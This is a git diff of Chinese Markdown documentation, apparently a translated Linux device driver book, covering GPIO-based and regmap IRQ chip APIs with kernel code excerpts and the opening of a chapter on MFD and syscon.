如果它不是动态分配的,`first_irq`将是从中分配 GPIO 芯片 IRQ 的基准(第一个)IRQ。 `handler`是要使用的主要 IRQ 处理程序(通常是预定义的高级 IRQ 核心函数之一)。 `type`是此`IRQ chip`上 IRQ 的默认类型;在此处传递`IRQ_TYPE_NONE`,让驱动根据请求进行配置。 - -这些功能操作的摘要如下: - -* 第一个函数使用`irq_domain_add_simple()`函数将`struct irq_domain`分配给 GPIO 芯片。 此 IRQ 域的 OPS 是使用名为`gpiochip_domain_ops`的内核 IRQ 核心域 OPS 变量设置的。 该域 OPS 在`drivers/gpio/gpiolib.c`中定义,其中`irq_domain_ops.xlate`字段设置为`irq_domain_xlate_twocell`,这意味着该 GPIO 芯片将处理双单元 IRQ。 -* 将`gpiochip.to_irq`字段设置为`gpiochip_to_irq`,这是一个返回`irq_create_mapping(chip->irq.domain, offset)`的回调,创建与 GPIO 偏移量相对应的 IRQ 映射。 这是在我们对该 GPIO 调用`gpiod_to_irq()`时执行的。 此函数假定`gpiochip`上的每个引脚都可以生成唯一的 IRQ。 下面是`gpiochip_domain_ops`IRQ 域的定义方式: - - ```sh - static const struct irq_domain_ops gpiochip_domain_ops = { -   .map = gpiochip_irq_map, -   .unmap = gpiochip_irq_unmap, -   /* Virtually all GPIO-based IRQ chips are two-celled */ -   .xlate = irq_domain_xlate_twocell, - }; - ``` - -`gpiochip_irqchip_add_nested()`和`gpiochip_irqchip_add()`之间的唯一区别是前者向 GPIO 芯片添加嵌套 IRQ 芯片(它将`gpio_chip->irq.threaded`字段设置为`true`),而后者将链式 IRQ 芯片添加到 GPIO 芯片,并将该字段设置为`false`。 另一方面,`gpiochip_set_chained_irqchip()`和`gpiochip_set_nested_irqchip()`分别将链式或嵌套 IRQ 芯片分配/连接到 GPIO 芯片。 以下是这两个函数的原型: - -```sh -void gpiochip_set_chained_irqchip(                             struct gpio_chip *gpiochip, -                             struct irq_chip *irqchip, -                             unsigned int parent_irq, -                             irq_flow_handler_t parent_handler) -void gpiochip_set_nested_irqchip(struct gpio_chip *gpiochip, -                                 struct irq_chip *irqchip, -                                 unsigned int parent_irq) -``` - -在前面的原型中,`gpiochip`是要设置`irqchip`链的 GPIO 芯片。 `irqchip`表示要链接到 GPIO 芯片的 IRQ 芯片。 `parent_irq`是对应于该链式 IRQ 芯片的父 IRQ 的 IRQ 编号。 换句话说,它是该芯片连接到的 IRQ 号。 `parent_handler`是 GPIO 芯片输出的累积 IRQ 的父中断处理程序。 它实际上是 hwirq 处理程序。 这不用于嵌套 IRQ 芯片,因为父处理程序是线程化的。 链式变量将在内部调用`parent_handler`上的`irq_set_chained_handler_and_data()`。 - -#### 基于链式 gpioChip 的 IRQ 芯片 - -`gpiochip_irqchip_add()`和`gpiochip_set_chained_irqchip()`用于基于链式 GPIO 芯片的 IRQ 芯片,而`gpiochip_irqchip_add_nested()`和`gpiochip_set_nested_irqchip()`仅用于基于嵌套 GPIO 芯片的 IRQ 芯片。 使用基于 GPIO 芯片的链式 IRQ 芯片,`gpiochip_set_chained_irqchip()`将配置父 hwirq 的处理程序。 不需要调用任何`devm_request_*``irq`族函数。 但是,父 hwirq 的处理程序必须对已提出的子`irqs`调用`generic_handle_irq()`,如下例所示(来自内核源代码中的`drivers/pinctrl/pinctrl-at91.c`),这与标准的链式 IRQ 芯片有点类似: - -```sh -static void gpio_irq_handler(struct irq_desc *desc) -{ -    unsigned long isr; -    int n; -    struct irq_chip *chip = irq_desc_get_chip(desc); -    struct gpio_chip *gpio_chip =     irq_desc_get_handler_data(desc); -    struct at91_gpio_chip *at91_gpio = -                      gpiochip_get_data(gpio_chip); -    void __iomem *pio = at91_gpio->regbase; -    chained_irq_enter(chip, desc); -    for (;;) { -        isr = readl_relaxed(pio + PIO_ISR) & -                  readl_relaxed(pio + PIO_IMR); -        [...] -        for_each_set_bit(n, &isr, BITS_PER_LONG) { -            generic_handle_irq(irq_find_mapping( -                          gpio_chip->irq.domain, n)); -        } -    } -    chained_irq_exit(chip, desc); -    [...] -} -``` - -在前面的代码中,首先介绍了中断处理程序。 当 GPIO 芯片发出中断时,它的整个 GPIO 状态库被读取,以便检测设置在那里的每个位,这将意味着由相应 GPIO 线后面的器件触发的潜在 IRQ。 - -然后在域中的索引对应于 GPIO 状态库中设置的位的索引的每个 IRQ 描述符上调用`generic_handle_irq()`。 此方法将依次调用在原子上下文(`hard-irq`上下文)中为上一步中找到的每个描述符注册的每个处理程序,除非将 GPIO 用作 IRQ 行的设备的底层驱动请求线程化处理程序。 - -现在我们可以介绍`probe`方法,其示例如下: - -```sh -static int at91_gpio_probe(struct platform_device *pdev) -{ -    [...] -    ret = gpiochip_irqchip_add(&at91_gpio->chip, -                                &gpio_irqchip, -                                0, -                                handle_edge_irq, -                                IRQ_TYPE_NONE); -    if (ret) { -       dev_err( -           &pdev->dev, -           "at91_gpio.%d: Couldn’t add irqchip to gpiochip.\n", -           at91_gpio->pioc_idx); -        return ret; -    } -    [...] -    /* Then register the chain on the parent IRQ */ -    gpiochip_set_chained_irqchip(&at91_gpio->chip, -                                &gpio_irqchip, -                                at91_gpio->pioc_virq, -                                gpio_irq_handler); -    return 0; -} -``` - -那里没有什么特别的东西。 这里的机制在某种程度上遵循了我们在通用 IRQ 芯片中看到的。 这里不使用任何`request_irq()`系列方法请求父 IRQ,因为`gpiochip_set_chained_irqchip()`将在幕后调用`irq_set_chained_handler_and_data()`。 - -#### 基于嵌套式 gpioChip 的 irq 芯片 - -下面的节选显示了基于 GPIO 芯片的嵌套 IRQ 芯片是如何由其驱动注册的。 这有点类似于独立的嵌套 IRQ 芯片: - -```sh -static irqreturn_t pcf857x_irq(int irq, void *data) -{ -    struct pcf857x *gpio = data; -    unsigned long change, i, status; -    status = gpio->read(gpio->client); -    /* -     * call the interrupt handler if gpio is used as -     * interrupt source, just to avoid bad irqs -     */ -    mutex_lock(&gpio->lock); -    change = (gpio->status ^ status) & gpio->irq_enabled; -    gpio->status = status; -    mutex_unlock(&gpio->lock); -    for_each_set_bit(i, &change, gpio->chip.ngpio) -        handle_nested_irq( -            irq_find_mapping(gpio->chip.irq.domain, i)); -    return IRQ_HANDLED; -} -``` - -前面的代码是 IRQ 处理程序。 正如我们所看到的,它使用`handle_nested_irq()`,这对我们来说并不是什么新鲜事。 现在让我们检查一下`probe`方法: - -```sh -static int pcf857x_probe(struct i2c_client *client, -                         const struct i2c_device_id *id) -{ -    struct pcf857x *gpio; -    [...] -    /* Enable irqchip only if we have an interrupt line */ -    if (client->irq) { -        status = gpiochip_irqchip_add_nested(&gpio->chip, -                                             &gpio->irqchip, -                                             0,                                              handle_level_irq, -                                             IRQ_TYPE_NONE); -        if (status) { -            dev_err(&client->dev, "cannot add irqchip\n"); -            goto fail; -        } -        status = devm_request_threaded_irq( -                 &client->dev, client->irq, -                 NULL, pcf857x_irq, -                 IRQF_ONESHOT |IRQF_TRIGGER_FALLING |                  IRQF_SHARED, -              dev_name(&client->dev), gpio); -        if (status) -            goto fail; -        gpiochip_set_nested_irqchip(&gpio->chip,                                     &gpio->irqchip, -                                    client->irq); -    } -[...] -} -``` - -在这里,父 IRQ 处理程序是线程化的,必须使用`devm_request_threaded_irq()`注册。 这解释了为什么它的 IRQ 处理程序必须在子 IRQ 上调用`handle_nested_irq()`才能调用它们的处理程序。 同样,这看起来与泛型嵌套`irqchips`类似,只是 gpiolib 包装了一些底层嵌套的`irqchip`API。 要确认这一点,您可以查看`gpiochip_set_nested_irqchip()`和`gpiochip_irqchip_add_nested()`方法的主体。 - -## Regmap IRQ API 和数据结构 - -RegmapIRQ API 在`drivers/base/regmap/regmap-irq.c`中实现。 它主要是在两个基本函数`devm_regmap_add_irq_chip()`和`regmap_irq_get_virq()`以及三个数据结构`struct regmap_irq_chip`、`struct regmap_irq_chip_data`和`struct regmap_irq`之上构建的。 - -重要音符 - -Regmap 的`irqchip`API 完全使用线程化 IRQ。 因此,只有我们在*嵌套中断*部分中看到的内容才适用于此。 - -### Regmap IRQ 数据结构 - -正如前面提到的,我们需要介绍`regmap irq api`的三种数据结构,以便理解它是如何抽象 IRQ 管理的。 - -#### 结构 regmap_irq_Chip 和结构 regmap_irq - -`struct regmap_irq_chip`结构描述泛型`regmap irq_chip`。 在讨论这种结构之前,让我们先介绍一下`struct regmap_irq`,它存储了寄存器和`regmap irq_chip`的 IRQ 的掩码描述: - -```sh -struct regmap_irq { -    unsigned int reg_offset; -    unsigned int mask; -    unsigned int type_reg_offset; -    unsigned int type_rising_mask; -    unsigned int type_falling_mask; -}; -``` - -以下是对上述结构中的字段的说明: - -* `reg_offset`是存储体内状态/掩码寄存器的偏移量。 该存储体实际上可以是 IRQ`chip`的`{status/mask/unmask/ack/wake}_base`寄存器。 -* `mask`是用于标记/控制此 IRQ 状态寄存器的掩码。 禁用 IRQ 时,屏蔽值将与 regmap 的`irq_chip.status_base`寄存器中的实际内容`reg_offset`进行*或*。 对于`irq`启用,将对`~mask`进行 AND 运算。 -* `type_reg_offset`是 IRQ 类型设置的偏移寄存器(来自`irqchip`状态基址寄存器)。 -* `type_rising_mask`是配置*上升*型 IRQ 的屏蔽位。 将 IRQ 的类型设置为`IRQ_TYPE_EDGE_RISING`时,该值将与`type_reg_offset`的实际内容进行 OR 运算。 -* `type_falling_mask`是配置*下降*型 IRQ 的屏蔽位。 将 IRQ 的类型设置为`IRQ_TYPE_EDGE_FALLING`时,该值将与`type_reg_offset`的实际内容进行 OR 运算。 对于`IRQ_TYPE_EDGE_BOTH`类型,将使用`(type_falling_mask | irq_data->type_rising_mask)`作为掩码。 - -现在我们已经熟悉了`struct regmap_irq`,让我们描述一下`struct regmap_irq_chip`,它的结构如下所示: - -```sh -struct regmap_irq_chip { -    const char *name; -    unsigned int status_base; -    unsigned int mask_base; -    unsigned int unmask_base; -    unsigned int ack_base; -    unsigned int wake_base; -    unsigned int type_base; -    unsigned int irq_reg_stride; -    bool mask_writeonly:1; -    bool init_ack_masked:1; -    bool mask_invert:1; -    bool use_ack:1; -    bool ack_invert:1; -    bool wake_invert:1; -    bool type_invert:1; -    int num_regs; -    const struct regmap_irq *irqs; -    int num_irqs; -    int num_type_reg; -    unsigned int type_reg_stride; -    int (*handle_pre_irq)(void *irq_drv_data); -    int (*handle_post_irq)(void *irq_drv_data); -    void *irq_drv_data; -}; -``` - -此结构描述了一个通用的`regmap_irq_chip`,它可以处理大多数中断控制器(不是所有中断控制器,我们将在后面看到)。 下表介绍了此数据结构中的字段: - -* `name`是 IRQ 控制器的描述性名称。 -* `status_base`是在获取给定`regmap_irq`的最终状态寄存器之前,regmap IRQ 内核添加`regmap_irq.reg_offset`的基址状态寄存器地址。 -* `mask_writeonly`说明基掩码寄存器是否为只写寄存器。 如果是,则使用`regmap_write_bits()`写入寄存器,否则使用`regmap_update_bits()`。 -* `unmask_base`是基址去屏蔽寄存器地址,必须为具有独立屏蔽和去屏蔽寄存器的芯片指定该地址。 -* `ack_base`是确认基址寄存器地址。 通过`use_ack`位可以使用值`0`。 -* `wake_base`是`wake enable`的基地址,用于控制 IRQ 电源管理唤醒。 如果值为`0`,则表示不支持此操作。 -* `type_base`是在获得给定`regmap_irq`的最终类型寄存器之前,regmap IRQ 内核添加`regmap_irq.type_reg_offset`到的 IRQ 类型的基地址。 如果为`0`,则表示不支持此操作。 -* `irq_reg_stride`是用于寄存器不连续的芯片的步长。 -* `init_ack_masked`说明 regmap IRQ 内核是否应在初始化期间确认所有屏蔽中断一次。 -* `mask_invert`,如果为`true`,则表示掩码寄存器反转。 这意味着清除的位索引对应于屏蔽中断。 -* `use_ack`,如果为`true`,则表示即使是`0`也应使用确认寄存器。 -* `ack_invert`,如果为`true`,则表示确认寄存器反转:清除相应的位以进行确认。 -* `wake_invert`,如果为`true`,则表示唤醒寄存器反转:清除位对应于唤醒启用。 -* `type_invert`,如果为`true`,则表示使用反转类型标志。 -* `num_regs`是每个控制库中的寄存器数。 将给出使用`regmap_bulk_read()`时要读取的寄存器数量。 有关更多信息,请查看`regmap_irq_thread()`的定义。 -* `irqs`是单个 IRQ 的描述符数组,`num_irqs`是数组中描述符的总数。 中断号是根据该数组中的索引分配的。 -* `num_type_reg`是类型寄存器的数量,而`type_reg_stride`是用于类型寄存器不连续的芯片的步长。 Regmap IRQ 实现了通用中断服务例程,这在大多数设备中都很常见。 -* 某些设备,如`MAX77620`或`MAX20024`,在服务中断之前和之后需要特殊的处理。 这就是`handle_pre_irq`和`handle_post_irq`的用武之地。 这些是驱动特定的回调,用于在`regmap_irq_handler`处理中断之前处理来自设备的中断。 `irq_drv_data`然后是作为参数传递给这些中断前/中断后处理程序的数据。 例如,中断服务的`MAX77620`编程指南如下所述: - ---当 PMIC 发生中断时,通过设置 GLBLM 来屏蔽 PMIC 中断。 - ---读取 IRQTOP 并相应地服务中断。 - ---一旦检查并处理了所有中断,中断服务例程通过清除 GLBLM 来取消屏蔽硬件中断线。 - -回到`regmap_irq_chip.irqs`字段,该字段属于前面介绍的`regmap_irq`类型。 - -#### 结构 regmap_irq_Chip_data - -此结构是 regmap IRQ 控制器的运行时数据结构,分配在成功返回路径`devm_regmap_add_irq_chip()`上。 它必须存储在大型私有数据结构中以备后用。 其定义如下: - -```sh -struct regmap_irq_chip_data { -    struct mutex lock; -    struct irq_chip irq_chip; -    struct regmap *map; -    const struct regmap_irq_chip *chip; -    int irq_base; -    struct irq_domain *domain; -    int irq; -    [...] -}; -``` - -为简单起见,结构中的一些字段已被删除。 以下是对此结构中的字段的说明: - -* `lock`是用于保护对`regmap_irq_chip_data`所属的`irq_chip`的访问的锁。 由于 regmap IRQ 是完全线程化的,所以使用互斥是安全的。 -* `irq_chip`是这个启用 regmap 的`irqchip`的底层中断芯片描述符结构(提供与 IRQ 相关的操作),用`regmap_irq_chip`设置,定义如下`drivers/base/regmap/regmap-irq.c`: - - ```sh - static const struct irq_chip regmap_irq_chip = { -     .irq_bus_lock = regmap_irq_lock, -     .irq_bus_sync_unlock = regmap_irq_sync_unlock, -     .irq_disable = regmap_irq_disable, -     .irq_enable = regmap_irq_enable, -     .irq_set_type = regmap_irq_set_type, -     .irq_set_wake = regmap_irq_set_wake, - }; - ``` - -* `map`是上述`irq_chip`的 regmap 结构。 -* `chip`是指向应该在驱动中设置的通用 regmap`irq_chip`的指针。 它作为参数提供给`devm_regmap_add_irq_chip()`。 -* `base`,如果大于零,则是它从中分配特定 IRQ 号的基数。 换句话说,IRQ 的编号从`base`开始。 -* `domain`是底层 IRQ 芯片的 IRQ 域,`ops`设置为`regmap_domain_ops`,定义如下: - - ```sh - static const struct irq_domain_ops regmap_domain_ops = { -     .map = regmap_irq_map, -     .xlate = irq_domain_xlate_onetwocell, - }; - ``` - -* `irq`是`irq_chip`的父(基本)IRQ。 它对应于给`devm_regmap_add_irq_chip()`的`irq`参数。 - -### Regmap IRQ API - -在本章前面的中,我们介绍了作为 regmap IRQ API 组成的两个基本函数的`devm_regmap_add_irq_chip()`和`regmap_irq_get_virq()`。 这些实际上是 regmap IRQ 管理最重要的功能,下面是它们各自的原型: - -```sh -int devm_regmap_add_irq_chip(struct device *dev,                          struct regmap *map, -                         int irq, int irq_flags,                          int irq_base, -                         const struct regmap_irq_chip *chip, -                         struct regmap_irq_chip_data **data) -int regmap_irq_get_virq(struct regmap_irq_chip_data *data,                         int irq) -``` - -在前面的代码中,`dev`是`irq_chip`所属的设备指针。 `map`是设备的有效且已初始化的 regmap。 `irq_base`,如果大于零,则为第一个分配的 IRQ 的编号。 `chip`是中断控制器的配置。 在`regmap_irq_get_virq()`的原型中,`*data`是一个初始化的输入参数,必须由`devm_regmap_add_irq_chip()`到`**data`返回。 - -`devm_regmap_add_irq_chip()`是应该用来在代码中添加基于 regmap 的 irqChip 支持的函数。 它的`data`参数是一个输出参数,表示控制器的运行时数据结构,在此函数调用成功时分配。 它的`irq`参数是 irqChip 的父 IRQ 和主 IRQ。 它是器件用来发出中断信号的 IRQ,而`irq_flags`是用于该主中断的`IRQF_`标志的掩码。 如果此函数成功(即返回`0`),则输出数据将设置为类型为`regmap_irq_chip_data`的新分配且配置良好的结构。 此函数在失败时返回`errno`。 `devm_regmap_add_irq_chip()`是以下各项的组合: - -* 分配和初始化`struct regmap_irq_chip_data`。 -* `irq_domain_add_linear()`(if`irq_base == 0`),它在给定域中需要的 IRQ 数量的情况下分配 IRQ 域。 如果成功,IRQ 域将被分配给先前分配的 IRQ 芯片数据的`.domain`字段。 该域的`ops.map`函数会将每个 IRQ 子函数配置为嵌套到父线程中,并且`ops.xlate`将被设置为`irq_domain_xlate_onetwocell`。 如果使用`irq_base > 0`,则使用`irq_domain_add_legacy()`而不是`irq_domain_add_linear()`。 -* `request_threaded_irq()`,以便注册父 IRQ 线程处理程序。 Regmap 使用自己定义的线程处理程序`regmap_irq_thread()`,它在对子对象`irqs`调用`handle_nested_irq()`之前执行一些黑客操作。 - -下面的摘录总结了前面的操作: - -```sh -static int regmap_irq_map(struct irq_domain *h,                           unsigned int virq, -                          irq_hw_number_t hw) -{ -    struct regmap_irq_chip_data *data = h->host_data; -    irq_set_chip_data(virq, data); -    irq_set_chip(virq, &data->irq_chip); -    irq_set_nested_thread(virq, 1); -    irq_set_parent(virq, data->irq); -    irq_set_noprobe(virq); -    return 0; -} -static const struct irq_domain_ops regmap_domain_ops = { -    .map = regmap_irq_map, -    .xlate = irq_domain_xlate_onetwocell, -}; -static irqreturn_t regmap_irq_thread(int irq, void *d) -{ -    [...] -    for (i = 0; i < chip->num_irqs; i++) { -        if (data->status_buf[chip->irqs[i].reg_offset / -            map->reg_stride] & chip->irqs[i].mask) { -            handle_nested_irq(irq_find_mapping(data->domain,             i)); -          handled = true; -        } -    } -    [...] -    if (handled) -        return IRQ_HANDLED; -    else -        return IRQ_NONE; -} -int regmap_add_irq_chip(struct regmap *map, int irq,                         int irq_ flags, -                        int irq_base,                         const struct regmap_irq_chip *chip, -                        struct regmap_irq_chip_data **data) -{ -    struct regmap_irq_chip_data *d; -    [...] -    d = kzalloc(sizeof(*d), GFP_KERNEL); -    if (!d) -        return -ENOMEM; -    /* The below is just for simplicity */ -    initialize_irq_chip_data(d); -    if (irq_base) -        d->domain = irq_domain_add_legacy(map->dev->of_node, -                                          chip->num_irqs, -                                          irq_base, 0, -                                          ®map_domain_ops,                                          d); -    else -        d->domain = irq_domain_add_linear(map->dev->of_node, -                                          chip->num_irqs, -                                          ®map_domain_ops,                                           d); -    ret = request_threaded_irq(irq, NULL, regmap_irq_thread, -                               irq_flags | IRQF_ONESHOT, -                               chip->name, d); -    [...] -    *data = d; -    return 0; -} -``` - -`regmap_irq_get_virq()`将芯片上的中断映射到虚拟 IRQ。 它只是在给定的`irq`和域上返回`irq_create_mapping(data->domain, irq)`,正如我们前面看到的。 其`irq`参数是芯片 IRQ 中请求的中断的索引。 - -### Regmap IRQ API 示例 - -让我们使用`max7760`GPIO 控制器的驱动来看看 regmap IRQ API 背后的概念是如何应用的。 此驱动位于内核源代码中的`drivers/gpio/gpio-max77620.c`处,以下是此驱动使用 regmap 处理 IRQ 管理的简化方式摘录。 - -让我们从定义将在整个代码编写过程中使用的数据结构开始: - -```sh -struct max77620_gpio { -    struct gpio_chip gpio_chip; -    struct regmap *rmap; -    struct device *dev; -}; -struct max77620_chip { -    struct device *dev; -    struct regmap *rmap; -    int chip_irq; -    int irq_base; -    [...] -    struct regmap_irq_chip_data *top_irq_data; -    struct regmap_irq_chip_data *gpio_irq_data; -}; -``` - -当您浏览代码时,前面数据结构的含义将变得清晰。 接下来,让我们定义 regmap IRQ 数组,如下所示: - -```sh -static const struct regmap_irq max77620_gpio_irqs[] = { -    [0] = { -        .mask = MAX77620_IRQ_LVL2_GPIO_EDGE0, -        .type_rising_mask = MAX77620_CNFG_GPIO_INT_RISING, -        .type_falling_mask = MAX77620_CNFG_GPIO_INT_FALLING, -        .reg_offset = 0, -        .type_reg_offset = 0, -    }, -    [1] = { -        .mask = MAX77620_IRQ_LVL2_GPIO_EDGE1, -        .type_rising_mask = MAX77620_CNFG_GPIO_INT_RISING, -        .type_falling_mask = MAX77620_CNFG_GPIO_INT_FALLING, -        .reg_offset = 0, -        .type_reg_offset = 1, -    }, -    [2] = { -        .mask = MAX77620_IRQ_LVL2_GPIO_EDGE2, -        .type_rising_mask = MAX77620_CNFG_GPIO_INT_RISING, -        .type_falling_mask = MAX77620_CNFG_GPIO_INT_FALLING, -        .reg_offset = 0, -        .type_reg_offset = 2, -    }, -    [...] -    [7] = { -        .mask = MAX77620_IRQ_LVL2_GPIO_EDGE7, -        .type_rising_mask = MAX77620_CNFG_GPIO_INT_RISING, -        .type_falling_mask = MAX77620_CNFG_GPIO_INT_FALLING, -        .reg_offset = 0, -        .type_reg_offset = 7, -    }, -}; -``` - -您可能已经注意到,出于可读性的考虑,数组已被截断。 然后可以将该数组分配给`regmap_irq_chip`数据结构,如下所示: - -```sh -static const struct regmap_irq_chip max77620_gpio_irq_chip = { -    .name = "max77620-gpio", -    .irqs = max77620_gpio_irqs, -    .num_irqs = ARRAY_SIZE(max77620_gpio_irqs), -    .num_regs = 1, -    .num_type_reg = 8, -    .irq_reg_stride = 1, -    .type_reg_stride = 1, -    .status_base = MAX77620_REG_IRQ_LVL2_GPIO, -    .type_base = MAX77620_REG_GPIO0, -}; -``` - -总结前面的摘录,驱动填充一个`regmap_irq`数组(`max77620_gpio_irqs[]`),并使用它构建一个`regmap_irq_chip`结构(`max77620_gpio_irq_chip`)。 一旦`regmap_irq_chip`数据结构准备就绪,我们就按照内核`gpiochip`内核的要求开始编写一个`irqchip`回调: - -```sh -static int max77620_gpio_to_irq(struct gpio_chip *gc, -                                unsigned int offset) -{ -    struct max77620_gpio *mgpio = gpiochip_get_data(gc); -    struct max77620_chip *chip =                          dev_get_drvdata(mgpio->dev- >parent); -    return regmap_irq_get_virq(chip->gpio_irq_data, offset); -} -``` - -在前面的代码片段中,我们只定义了将分配给 GPIO 芯片的`.to_irq`字段的回调。 其他回调可以在原始驱动中找到。 同样,代码在这里被截断。 在此阶段,我们可以讨论`probe`方法,它将使用之前定义的所有函数: - -```sh -static int max77620_gpio_probe(struct platform_device *pdev) -{ -     struct max77620_chip *chip =      dev_get_drvdata(pdev->dev.parent); -     struct max77620_gpio *mgpio; -     int gpio_irq; -     int ret; -     gpio_irq = platform_get_irq(pdev, 0); -     [...] -     mgpio = devm_kzalloc(&pdev->dev, sizeof(*mgpio),                           GFP_KERNEL); -     if (!mgpio) -         return -ENOMEM; -     mgpio->rmap = chip->rmap; -     mgpio->dev = &pdev->dev; -     /* setting gpiochip stuffs*/ -     mgpio->gpio_chip.direction_input =                                 max77620_gpio_dir_input; -     mgpio->gpio_chip.get = max77620_gpio_get; -     mgpio->gpio_chip.direction_output =                                 max77620_gpio_dir_output; -     mgpio->gpio_chip.set = max77620_gpio_set; -     mgpio->gpio_chip.set_config = max77620_gpio_set_config; -     mgpio->gpio_chip.to_irq = max77620_gpio_to_irq; -     mgpio->gpio_chip.ngpio = MAX77620_GPIO_NR; -     mgpio->gpio_chip.can_sleep = 1; -     mgpio->gpio_chip.base = -1; -     #ifdef CONFIG_OF_GPIO -     mgpio->gpio_chip.of_node = pdev->dev.parent->of_node; -     #endif -     ret = devm_gpiochip_add_data(&pdev->dev, -                                  &mgpio->gpio_chip, mgpio); -     [...] -     ret = devm_regmap_add_irq_chip(&pdev->dev, -                                    chip->rmap, gpio_irq, -                                    IRQF_ONESHOT, -1, -                                    &max77620_gpio_irq_chip, -                                    &chip->gpio_irq_data); -     [...] -     return 0; -} -``` - -在此`probe`方法摘录(没有错误检查)中,最后将`max77620_gpio_irq_chip`赋予`devm_regmap_add_irq_chip`,以便用 IRQ 填充 irq 芯片,然后将 IRQ 芯片添加到 regmap 核心。 此函数还将`chip->gpio_irq_data`设置为有效的`regmap_irq_chip_data`结构,`chip`是允许我们存储此 IRQ 芯片数据以备后用的私有数据结构。 由于此 IRQ 控制器构建在 GPIO 控制器(`gpiochip`)之上,因此必须设置`gpio_chip.to_irq`字段,这里是`max77620_gpio_to_irq`回调。 此回调只返回`regmap_irq_get_virq()`返回的值,它根据作为参数给定的偏移量在`regmap_irq_chip_data.domain`中创建并返回有效的`irq`映射。 其他功能已经推出,对我们来说并不新鲜。 - -在本节中,我们将介绍使用 regmap 进行 IRQ 管理的全部内容。 您已经准备好将基于 MMIO 的 IRQ 管理转移到 regmap。 - -# 摘要 - -本章主要讨论 regmap 核心。 我们介绍了该框架,演练了它的 API,并描述了一些用例。 除了寄存器访问之外,我们还学习了如何使用 regmap 进行基于 MMIO 的 IRQ 管理。 下一章将讨论 MFD 设备和 syscon 框架,将深入使用本章中学到的概念。 在本章结束时,您应该能够开发支持 regmap 的 IRQ 控制器,并且您不会发现自己在重新发明轮子并利用此框架进行寄存器访问。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/03.md b/docs/master-linux-device-driver-dev/03.md deleted file mode 100644 index 080eef67..00000000 --- a/docs/master-linux-device-driver-dev/03.md +++ /dev/null @@ -1,733 +0,0 @@ -# 三、深入研究 MFD 子系统和 Syscon API - -越来越密集的设备集成导致了一种由几个其他设备或 IP 组成的设备,可以实现特定的功能。 随着该设备的出现,Linux 内核中出现了一个新的子系统。 这些是**MFD**,代表**多功能设备**。 这些设备在物理上被视为独立设备,但从软件的角度来看,这些设备是以父子关系表示的,其中子设备就是子设备。 - -虽然一些基于 I2C 和 SPI 的设备/子设备在添加到系统之前可能需要一些攻击或配置,但也有一些基于 MMIO 的设备/子设备不需要任何配置/攻击,因为它们只需要在子设备之间共享主设备的寄存器区域。 然后引入了 Simple-mfd helper 来处理零 conf/hacks 子设备注册,并引入了 syscon 来与其他设备共享设备的内存区。 由于 regmap 负责处理 MMIO 寄存器和对内存的托管锁定(也称为同步)访问,因此在 regmap 之上构建 syscon 是自然而然的选择。 为了熟悉 MFD 子系统,在本章中,我们将从 MFD 的介绍开始,在这里您将了解其数据结构和 API,然后我们将查看设备树绑定,以便向内核描述这些设备。 最后,我们将讨论 syscon 并介绍用于零 conf/hacks 子设备的 Simple-mfd 驱动。 - -本章将介绍以下主题: - -* 介绍 MFD 和 syscon API 和数据结构 -* MFD 设备的设备树绑定 -* 了解 syscon 和 Simple-mfd - -# 技术要求 - -为了充分利用本章,您需要以下内容: - -* C 语言编程技巧 -* 熟悉 Linux 设备驱动模型 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 介绍 MFD 子系统和 Syscon API - -在深入研究 syscon 框架及其 API 之前,我们将介绍 MFD。 有个外围设备或硬件块通过它们嵌入其中的子设备公开多个功能,并由内核中的单独子系统处理。 也就是说,子设备是所谓多功能设备中的专用实体,负责特定的任务,并通过芯片寄存器映射中的一组减少的寄存器进行管理。 `ADP5520`是 MFD 设备的典型示例,因为它包含背光、键盘、LED 和 GPIO 控制器。 然后,其中的每一个都被视为一个子设备,正如您所看到的,每个子设备都属于不同的子系统。 在`include/linux/mfd/core.h`中定义并在`drivers/mfd/mfd-core.c`中实现的 MFD 子系统是为处理这些设备而创建的,允许以下功能: - -* 向多个子系统注册同一设备 -* 多路复用总线和寄存器访问,因为子设备之间可能共享一些寄存器 -* 处理 IRQ 和时钟 - -在本节中,我们将研究 DIALOG-Semiconductor 中的`da9055`设备的驱动,该驱动位于内核源代码树中的`drivers/mfd/da9055-core.c`中。 该设备的数据表可在[https://www.dialog-semiconductor.com/sites/default/files/da9055-00-ids3a_20120710.pdf](https://www.dialog-semiconductor.com/sites/default/files/da9055-00-ids3a_20120710.pdf)上找到。 - -在大多数情况下,MFD 设备驱动由两部分组成: - -* **应在`drivers/mfd`中托管的核心驱动**,负责主要初始化并将每个子设备注册为系统上的平台设备(及其平台数据)。 该驱动应该为子设备驱动提供公共服务。 这些服务包括寄存器访问、控制和共享中断管理。 当一个子系统的平台驱动器被实例化时,内核初始化芯片(其可以由平台数据指定)。 可以支持内置于单个内核映像中的多个相同类型的块设备。 这要归功于平台数据机制。 内核中特定于平台的数据抽象机制用于将配置传递给内核,而辅助驱动使其能够支持多个相同类型的块设备。 -* **The subdevice driver**, which is responsible for handling a specific subdevice registered earlier by the core driver. These drivers are located in their respective subsystem directories. Each peripheral (subsystem device) has a limited view of the device, which is implicitly reduced to the specific set of resources that the peripheral requires in order to function correctly. - - 重要音符 - - 本章中的子设备概念不应与[*第 7 章*](07.html#_idTextAnchor287)、*解密 V4L2 和视频捕获设备驱动*中的同名概念混淆,后者略有不同,其中子设备也代表视频管道中的实体。 - -子设备在 MFD 子系统中由`struct mfd_cell`结构的实例表示,您可以将其称为**单元**。 单元格用于描述子设备。 核心驱动器必须提供与给定外围设备中的子器件一样多的单元阵列。 MFD 子系统将使用阵列中每个结构中注册的信息为每个子设备创建平台设备,以及与每个子设备相关联的平台数据。 在`struct mfd_cell`结构中,您可以指定更高级的内容,比如子设备使用的资源和挂起-恢复操作(从子设备的驱动调用)。 此结构如下所示,出于简单原因删除了一些字段: - -```sh -/* - * This struct describes the MFD part ("cell"). - * After registration the copy of this structure will - * become the platform data of the resulting platform_device - */ -struct mfd_cell { - const char *name; - int id; - [...] - int (*suspend)(struct platform_device *dev); - int (*resume)(struct platform_device *dev); - /* platform data passed to the sub devices drivers */ - void *platform_data; - size_t pdata_size; - /* Device Tree compatible string */ - const char *of_compatible; - /* Matches ACPI */ - const struct mfd_cell_acpi_match *acpi_match; - /* - * These resources can be specified relative to the - * parent device. For accessing hardware, you should - * use resources from the platform dev - */ - int num_resources; - const struct resource *resources; - [...] -}; -``` - -重要音符 - 